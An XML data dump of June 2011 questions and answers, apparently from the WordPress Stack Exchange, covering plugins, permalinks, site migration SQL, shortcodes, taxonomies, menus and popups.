  <row Id="19353" PostTypeId="1" CreationDate="2011-06-06T19:01:40.790" Score="0" ViewCount="29" Body="&lt;p&gt;Is there a wordpress plugin that lets me upload the images for the carousel but rather than the user clicking on the images and the image getting bigger i want the user to be redirected to a link that was provided for each image. so basically as these images are being uploaded on the backend a field is also provided to give a link to each image so when a user clicks on the image the user is redirected to that link specific to each image. but the images are display in a carousel format&lt;/p&gt;&#xA;" OwnerUserId="5919" LastActivityDate="2011-06-06T19:01:40.790" Title="jcarousel plugin that loads dynamic images and gives the ability to provide a link to each image rather than the default" Tags="&lt;plugins&gt;&lt;theme-development&gt;" />
  <row Id="19354" PostTypeId="1" AcceptedAnswerId="19362" CreationDate="2011-06-06T19:13:05.257" Score="0" ViewCount="84" Body="&lt;p&gt;Guys i have a custom file that is not part of the wordpress and its not a part of the plugins. How can i add it to the permalink solution? For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom file name - example123.php&#xA;Permalink solution - &lt;a href=&quot;http://mysite.com/example&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5797" LastActivityDate="2011-06-06T20:32:05.813" Title="Wordpress Custom File Permalink" Tags="&lt;customization&gt;&lt;permalink&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19355" PostTypeId="1" CreationDate="2011-06-06T19:16:06.503" Score="0" ViewCount="68" Body="&lt;p&gt;I'm going to move my site from development/staging environment (i.e. dev.example.com) to production environment (example.com). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably, existing links in my pages and posts will still point to the old url, i.e. dev.example.com. how do i deal with this issue? is it possible correct all the links in one go? any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="5968" LastActivityDate="2011-08-06T09:39:48.627" Title="Links after moving my site to another domain" Tags="&lt;migration&gt;" AnswerCount="2" />
  <row Id="19356" PostTypeId="1" AcceptedAnswerId="19359" CreationDate="2011-06-06T19:53:41.463" Score="0" ViewCount="82" Body="&lt;p&gt;hi i'm trying to insert a short code into a Text widget but all its doing it showing the code and not processing it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode(' [stream embed=false share=false width=500 height=560 dock=true controlbar=bottom bandwidth=high autostart=false playlistfile=http://www.xxx.com/wp-content/uploads/videos/playlist.xml config=http://www.xxx.com/wp-content/uploads/videos/config_for_playlist.xml playlist=bottom repeat=none /] '); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5771" LastActivityDate="2011-06-06T20:38:11.973" Title="Inserting shortcode [stream /] into a Text widget" Tags="&lt;widgets&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="19357" PostTypeId="2" ParentId="19348" CreationDate="2011-06-06T20:08:43.977" Score="1" ViewCount="" Body="&lt;p&gt;You can essentially 'block' the capability &lt;code&gt;install_themes&lt;/code&gt; using;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __block_caps( $caps, $cap )&#xA;{&#xA;    if ( $cap === 'install_themes' )&#xA;        $caps[] = 'do_not_allow';&#xA;    return $caps;&#xA;}&#xA;add_filter( 'map_meta_cap', '__block_caps', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-06T20:08:43.977" />
  <row Id="19358" PostTypeId="2" ParentId="19355" CreationDate="2011-06-06T20:09:52.917" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are typical queries to run in phpmyadmin to change URLs, but you may also have serialized data in widget and theme options that will have to be changed, too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://olddomain.com', 'http://newdomain.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://olddomain.com','http://newdomain.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://olddomain.com', 'http://newdomain.com');&#xA;&#xA;UPDATE wp_postmeta SET meta_value = replace(meta_value, 'http://olddomain.com', 'http://newdomain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;Search RegEx&lt;/a&gt; is a good plugin to be able to search and replace with Grep through all posts and pages to check if any URLs were missed.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-06T20:09:52.917" CommentCount="1" />
  <row Id="19359" PostTypeId="2" ParentId="19356" CreationDate="2011-06-06T20:13:13.177" Score="1" ViewCount="" Body="&lt;p&gt;the text widget doesn't do php....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my fave solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/php-code-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's from Otto, so ya know it's good. Based heavily on the text widget, but allows for php&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-06T20:13:13.177" />
  <row Id="19360" PostTypeId="1" AcceptedAnswerId="19367" CreationDate="2011-06-06T20:15:45.807" Score="0" ViewCount="154" Body="&lt;p&gt;I'm tired of typing in lists of counries in my &quot;Countries&quot; taxonomies. What's a good way to bulk import a long list of terms into Wordpress ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-06T20:45:53.747" Title="Is there a way to import terms into Wordpress?" Tags="&lt;custom-taxonomy&gt;&lt;import&gt;&lt;terms&gt;&lt;bulk-import&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19361" PostTypeId="2" ParentId="15615" CreationDate="2011-06-06T20:24:38.193" Score="1" ViewCount="" Body="&lt;p&gt;I've been using the plugin called &lt;strong&gt;WordPress-Amazon-Associate&lt;/strong&gt;. It was easy to setup and has been working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://labs.mdbitz.com/wordpress/wordpress-amazon-associate-plugin/&quot; rel=&quot;nofollow&quot;&gt;link to the author's home&#xA;page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-amazon-associate/&quot; rel=&quot;nofollow&quot;&gt;link to the official WP plugin&#xA;page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5483" LastActivityDate="2011-06-06T20:24:38.193" />
  <row Id="19362" PostTypeId="2" ParentId="19354" CreationDate="2011-06-06T20:32:05.813" Score="0" ViewCount="" Body="&lt;p&gt;You should make a template out of your file and then in WP create a page named &quot;Example&quot; to which you assign this template.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-06T20:32:05.813" CommentCount="1" />
  <row Id="19363" PostTypeId="2" ParentId="19355" CreationDate="2011-06-06T20:35:44.703" Score="1" ViewCount="" Body="&lt;p&gt;What I do is make a  dump of the database and then Search / Replace what I need either with a text editor if the DB is rather small (&lt;a href=&quot;http://www.geany.org/&quot; rel=&quot;nofollow&quot;&gt;Geany&lt;/a&gt; is great for that) or if it's a big DB I use &lt;a href=&quot;http://regexxer.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Regexxer Search Tool&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-06T20:35:44.703" />
  <row Id="19364" PostTypeId="1" CreationDate="2011-06-06T20:37:56.233" Score="0" ViewCount="33" Body="&lt;p&gt;I have been using the &lt;a href=&quot;http://www.intensedebate.com/features&quot; rel=&quot;nofollow&quot;&gt;IntenseDebate Comments plugin&lt;/a&gt;, but am unhappy with it and would like to uninstall. Supposedly due to the &lt;a href=&quot;http://support.intensedebate.com/wordpress-plugin/troubleshooting-wp/#data-synchronization&quot; rel=&quot;nofollow&quot;&gt;data synchronization feature&lt;/a&gt;, it shouldn't be a problem to just disable and remove it, but of course &lt;a href=&quot;http://support.intensedebate.com/&quot; rel=&quot;nofollow&quot;&gt;there's nothing on their support site about how to uninstall&lt;/a&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone with experience removing it have survival tips for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what will I &lt;em&gt;lose&lt;/em&gt; in the process of uninstalling (e.g. Gravatar icons)?&lt;/p&gt;&#xA;" OwnerUserId="5483" LastActivityDate="2011-09-05T18:43:10.883" Title="Uninstalling IntenseDebate" Tags="&lt;plugins&gt;&lt;uninstallation&gt;" AnswerCount="1" />
  <row Id="19365" PostTypeId="2" ParentId="19356" CreationDate="2011-06-06T20:38:11.973" Score="2" ViewCount="" Body="&lt;p&gt;if &lt;code&gt;[stream /]&lt;/code&gt; is 'real' shortcode (not everything in square bracket is &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt;) then try to add this to functions.php of your theme: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('widget_text', 'do_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;related: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16410/stream-video-player-does-not-work-with-do-shortcode&quot;&gt;Stream Video Player does not work with do_shortcode()?&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-06T20:38:11.973" />
  <row Id="19366" PostTypeId="2" ParentId="15047" CreationDate="2011-06-06T20:42:13.110" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Riposte&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A play on post and the &lt;em&gt;attaaack..!&lt;/em&gt; theme that CrossFire conjures up for me.&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CrossFlame&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If CrossFire is the plural, then CrossFlame seems like the logical singular. &lt;/p&gt;&#xA;" OwnerUserId="1748" LastActivityDate="2011-06-06T20:42:13.110" />
  <row Id="19367" PostTypeId="2" ParentId="19360" CreationDate="2011-06-06T20:43:11.720" Score="4" ViewCount="" Body="&lt;p&gt;Put list in PHP array, loop through it, use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_term()&lt;/code&gt;&lt;/a&gt; on each.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-06T20:43:11.720" />
  <row Id="19368" PostTypeId="2" ParentId="19081" CreationDate="2011-06-06T20:43:52.767" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;get_the_post_thumbnail&lt;/a&gt;. You can use that in your loop next to the post title.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-06T20:43:52.767" />
  <row Id="19369" PostTypeId="2" ParentId="19360" CreationDate="2011-06-06T20:45:53.747" Score="0" ViewCount="" Body="&lt;p&gt;You may need to experiment with the WordPress Importer plugin. You may need to export the taxonomy list from one categorization, and then import it. Outside of that tool, the other way would be to import the list in csv format into your database. However, you will need to have the taxonomy list in csv format. I am not sure if you need to import the list of countries multiple times, but am assuming you do since you are &quot;tired&quot; of typing lists.&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-06-06T20:45:53.747" />
  <row Id="19370" PostTypeId="2" ParentId="7046" CreationDate="2011-06-06T20:54:44.710" Score="0" ViewCount="" Body="&lt;p&gt;i just noticed on your code there was one minor error...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $output .= &quot;&amp;lt;div class=\&quot;post-$temp_id&quot; id=\&quot;post-$temp_id\&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;your missing the other \ before the quote $temp_id&quot;&#xA;so the code should look like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $output .= &quot;&amp;lt;div class=\&quot;post-$temp_id\&quot; id=\&quot;post-$temp_id\&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mainly for people that come across this post..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="5971" LastActivityDate="2011-06-06T20:54:44.710" />
  <row Id="19371" PostTypeId="2" ParentId="19364" CreationDate="2011-06-06T21:00:46.897" Score="0" ViewCount="" Body="&lt;p&gt;There is a place to find this out on there site &lt;a href=&quot;http://intensedebate.com/faq#li58&quot; rel=&quot;nofollow&quot;&gt;http://intensedebate.com/faq#li58&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-06T21:00:46.897" CommentCount="2" />
  <row Id="19372" PostTypeId="2" ParentId="19214" CreationDate="2011-06-06T21:10:42.440" Score="1" ViewCount="" Body="&lt;p&gt;You could call a function whenever a user publishes a post (checkout the publish_post action &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this function you would first check how many posts your user has already published, and only allow the new post to be published if this number is within a range you specify (ie. &amp;lt; 100)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would check if the post content doesn't contain any &quot;bad words&quot;, using &lt;a href=&quot;http://php.net/manual/en/function.strpos.php&quot; rel=&quot;nofollow&quot;&gt;strpos&lt;/a&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I would suggest that any large site where users can publish non-moderated content is a bad idea. Although you can make use of the community to sort out the mess, like the &quot;flag&quot; link here on stackexchange for example, which lets users report a &quot;bad&quot; post.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-06T21:10:42.440" />
  <row Id="19373" PostTypeId="1" AcceptedAnswerId="19409" CreationDate="2011-06-06T21:14:23.153" Score="2" ViewCount="64" Body="&lt;p&gt;I'm thinking of using a taxonomy archive template to list out my taxonomies and entries (I'm using a hierarchical structure) and then combining this with the WordPress pages module to apply static content to each taxonomy level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each level will essentially have its own page and will list either its children or entries (posts). The idea I had was to create a page with the same slug as my taxonomy and then assign the taxonomy archive template to this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondered if anyone had done this before, or if its even possible.&lt;/p&gt;&#xA;" OwnerUserId="5947" LastActivityDate="2011-06-07T13:01:14.577" Title="Is it possible to use pages to apply static content to each taxonomy level?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;pages&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19374" PostTypeId="2" ParentId="19349" CreationDate="2011-06-06T21:15:07.570" Score="0" ViewCount="" Body="&lt;p&gt;There's an option in the wp_options table called &lt;code&gt;image_default_link_type&lt;/code&gt;. Changing that to &quot;none&quot; will prevent the default link wrapped around images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit &lt;code&gt;{yoursite.url}/wp-admin/options.php&lt;/code&gt;, find the &lt;strong&gt;image_default_link_type&lt;/strong&gt; field, and change the value to &quot;none&quot;. (Other possible values are &quot;file&quot; or &quot;post&quot;.)&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-06-06T21:15:07.570" />
  <row Id="19375" PostTypeId="1" CreationDate="2011-06-06T21:20:39.113" Score="0" ViewCount="242" Body="&lt;p&gt;Im trying to get the id of the menu item that has be class called &quot;current-menu-item&quot;. Not the current page id, but the nav item id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="5973" LastActivityDate="2011-06-07T12:25:15.773" Title="How do you get the current-menu-item ID?" Tags="&lt;page-menus&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19377" PostTypeId="2" ParentId="19375" CreationDate="2011-06-06T21:53:08.613" Score="1" ViewCount="" Body="&lt;p&gt;The best way would be to use the &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter. Something like this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse19375_nav_class( $classes, $item ){&#xA;  if( !in_array( 'current-menu-item', $classes ) )&#xA;    return $classes;&#xA;  // $item is a 'current-menu-item' object.&#xA;  return $classes;&#xA;}&#xA;&#xA;add_filter( 'nav_menu_css_class', 'wpse19375_nav_class', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-06T21:53:08.613" CommentCount="3" />
  <row Id="19378" PostTypeId="1" CreationDate="2011-06-06T22:18:47.683" Score="0" ViewCount="26" Body="&lt;p&gt;I've created a &lt;a href=&quot;http://dl.dropbox.com/u/27487320/wp-filebrowser.zip&quot; rel=&quot;nofollow&quot;&gt;file browser plugin&lt;/a&gt; (ZIP file) and I'm using &lt;a href=&quot;http://code.google.com/p/smart-lencioni-image-resizer/&quot; rel=&quot;nofollow&quot;&gt;SLIR&lt;/a&gt; to resize images on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plugin works fine for single site, but I'm not able to make it work on a multisite (showing images).I know this is because the image path is different. But I'm not able to set the correct path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried different solutions, but I'm not getting any closer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had this problem for about 3-4 months now (in hope that SLIR forum could help me), but I've not gotten any further. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I hope that someone her with a bit more programming skills than me, can help me solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What basically needs to be done (I think), is edit the &lt;code&gt;slirconfigdefaults.class.php&lt;/code&gt; and alter the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//self::$documentRoot = preg_replace('/\/$/', '', $_SERVER['DOCUMENT_ROOT']);&#xA;global $blog_id;&#xA;self::$documentRoot = preg_replace('/\/$/', '', $_SERVER['DOCUMENT_ROOT'].'wp-content/blogs.dir/'.$blog_id);    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that this is not working. I would &lt;strong&gt;really&lt;/strong&gt; appreaciate it if someone could download my plugin and test it and see if you could make it work on a multisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOW IT WORKS&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Just download and install the plugin.&lt;br&gt;&#xA;Open a post and you will see two new fields; &lt;code&gt;Related image&lt;/code&gt; and &lt;code&gt;Alternative image&lt;/code&gt;.&lt;br&gt;&#xA;Click the &lt;code&gt;Get image url&lt;/code&gt; and the wp-filebrowser window will open.&lt;br&gt;&#xA;Navigate to a directory containing images, and you should get a list of images.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-06-07T08:53:09.180" LastActivityDate="2011-06-07T08:53:09.180" Title="Need help using Smart Lencioni Image Resizer with WP multisite" Tags="&lt;plugins&gt;" />
  <row Id="19379" PostTypeId="2" ParentId="17051" CreationDate="2011-06-06T22:31:47.513" Score="0" ViewCount="" Body="&lt;p&gt;There are probably several solutions to this, but this is what I would do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First set a static front page. This can be done in &lt;code&gt;Settings-&amp;gt;Reading&lt;/code&gt;.&lt;br&gt;&#xA;This will cause the menu item (page) selected to have the CSS class &lt;code&gt;current-menu-item&lt;/code&gt; and also to display any sub-menu items you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you just CSS them to be shown in a second row.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-06-06T22:31:47.513" />
  <row Id="19380" PostTypeId="2" ParentId="19336" CreationDate="2011-06-06T22:39:24.803" Score="1" ViewCount="" Body="&lt;p&gt;POST does not have parents, but categories. Only PAGE can have parent. So, the question is, what do you want to get?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of getting POSTS from different categories, just use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts&lt;/code&gt;&lt;/a&gt; and add multiple categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for pages, just use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page_children&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_page_children&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-06-06T22:39:24.803" CommentCount="1" />
  <row Id="19381" PostTypeId="2" ParentId="2755" CreationDate="2011-06-06T22:42:37.967" Score="0" ViewCount="" Body="&lt;p&gt;What redirection plugin you used for your pages?&#xA;I want to set up an automatic redirection for pages with changed slugs. So that the visitor will still reach the page by clicking the old link and beign redirected to the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works out of the box in Wordpress for posts, but not for pages, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5976" LastActivityDate="2011-06-06T22:42:37.967" />
  <row Id="19382" PostTypeId="2" ParentId="19112" CreationDate="2011-06-06T22:45:26.763" Score="1" ViewCount="" Body="&lt;p&gt;In the category link URL, add he category ID.&lt;br&gt;&#xA;Then when you click the link, the page reads the &lt;code&gt;$_GET&lt;/code&gt; variable and use this to fetch posts with that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-06-06T22:45:26.763" CommentCount="1" />
  <row Id="19383" PostTypeId="1" CreationDate="2011-06-04T20:19:57.017" Score="1" ViewCount="71" Body="&lt;p&gt;I'm hoping someone can help me with this. I have looked all over and can't seem to find what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a WP plugin that will allow my site users to easily create their own photo galleries, without having to put the photos into a specific blog post first. In other words, they should be able to just create and publish their own photo galleries as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like something very user-friendly, that I can customize with specific instructions, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at NextGen and have tested that with some users, but they didn't find it to be very intuitive. (Maybe that's on them, but nevertheless...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone who can help!&lt;/p&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-21T12:59:46.627" LastActivityDate="2011-07-21T12:59:46.627" Title="Looking for a Wordpress photo gallery plugin" Tags="&lt;customization&gt;&lt;plugin-recommendation&gt;&lt;users&gt;&lt;gallery&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="19384" PostTypeId="2" ParentId="19383" CreationDate="2011-06-06T23:15:30.083" Score="1" ViewCount="" Body="&lt;p&gt;You say you've tried NextGen Gallery, but have you used the add-on &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-public-uploader/&quot; rel=&quot;nofollow&quot;&gt;NextGen Public Uploader&lt;/a&gt;? I installed it on a test server I use for theme development, but I can't say I've actually tested it on  a live site with users.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-06T23:15:30.083" />
  <row Id="19386" PostTypeId="1" CreationDate="2011-06-07T00:03:12.810" Score="0" ViewCount="54" Body="&lt;p&gt;Is it possible to pull in Wordpress.com posts into an external site, in this instance, ColdFusion?  Is there a REST API for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there another solution to pull in content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5979" LastActivityDate="2011-06-07T13:16:53.480" Title="Use ColdFusion to pull in WP.com posts?" Tags="&lt;wordpress.com&gt;&lt;api&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19387" PostTypeId="2" ParentId="19386" CreationDate="2011-06-07T01:09:43.017" Score="1" ViewCount="" Body="&lt;p&gt;You could either use the WordPress RSS feed to pull in posts or enable the XML-RPC interface which will allow you to access content directly.  &lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-07T01:09:43.017" />
  <row Id="19388" PostTypeId="2" ParentId="11432" CreationDate="2011-06-07T01:54:19.123" Score="0" ViewCount="" Body="&lt;p&gt;Try a search for a plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=opt+in&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=opt+in&amp;amp;sort=&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-07T01:54:19.123" />
  <row Id="19389" PostTypeId="1" CreationDate="2011-06-07T02:23:57.983" Score="-2" ViewCount="57" Body="&lt;p&gt;I'm using ALO EasyMail Newsletter plugin in order to send newsletters to subscribers. I have setup settings which is mainly the email address and try to send an email for subscribers but it doesn't send anything. Is there any special configuration for wordpress to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5814" LastActivityDate="2011-06-07T17:13:14.060" Title="WP can't send newsletters" Tags="&lt;plugins&gt;&lt;email&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19390" PostTypeId="2" ParentId="19389" CreationDate="2011-06-07T04:25:54.967" Score="1" ViewCount="" Body="&lt;p&gt;Sounds like a server config problem. Try looking for a custom SMTP plugin and set it up with that. &lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-07T17:13:14.060" LastActivityDate="2011-06-07T17:13:14.060" CommentCount="3" />
  <row Id="19391" PostTypeId="2" ParentId="18230" CreationDate="2011-06-07T07:22:30.090" Score="0" ViewCount="" Body="&lt;p&gt;I've found a way to overcome what I needed by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;wp_redirect()&lt;/a&gt;. I'm calling &lt;code&gt;wp_redirect()&lt;/code&gt; after I've done processing. Also following advise from &lt;a href=&quot;http://www.lessthanweb.com/blog/wordpress-and-wp_redirect-function-problem&quot; rel=&quot;nofollow&quot;&gt;WordPress and wp_redirect() function problem&lt;/a&gt;, I added &lt;code&gt;noheader=true&lt;/code&gt; to the form's action or link to prevent the error &quot;header already sent&quot; from php.&lt;/p&gt;&#xA;" OwnerUserId="5681" LastActivityDate="2011-06-07T07:22:30.090" />
  <row Id="19392" PostTypeId="2" ParentId="11432" CreationDate="2011-06-07T08:00:40.477" Score="1" ViewCount="" Body="&lt;p&gt;You can completely write that by Javascript, using a jQUery lightbox plugin, follow these step:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a &quot;hidden&quot; link to your page, when its &quot;click&quot; event is fired, that will pops your form (we'll make the fake click event later)&lt;/li&gt;&#xA;&lt;li&gt;create HTML markup for the popup form&lt;/li&gt;&#xA;&lt;li&gt;enqueue jQuery lightbox plugin (you may choose Colorbox, Thickbox, PrettyPhoto, etc.)&lt;/li&gt;&#xA;&lt;li&gt;enqueue jQuery cookie plugin (for prevent the popup on every page load, we just want to show it when user first go to the page)&lt;/li&gt;&#xA;&lt;li&gt;enqueue your custom script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the custom script, you should:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a fake click event to your &quot;hidden&quot; link, like this: &lt;code&gt;$('#popup-link').click();&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;set a cookie for your user, maybe 1 day&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Popup Dominition is a bit more complicated. It does exactly the same thing but has option to allow us to show popups after some impressions. It also has some more built-in styles for the popup form.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-07T08:00:40.477" />
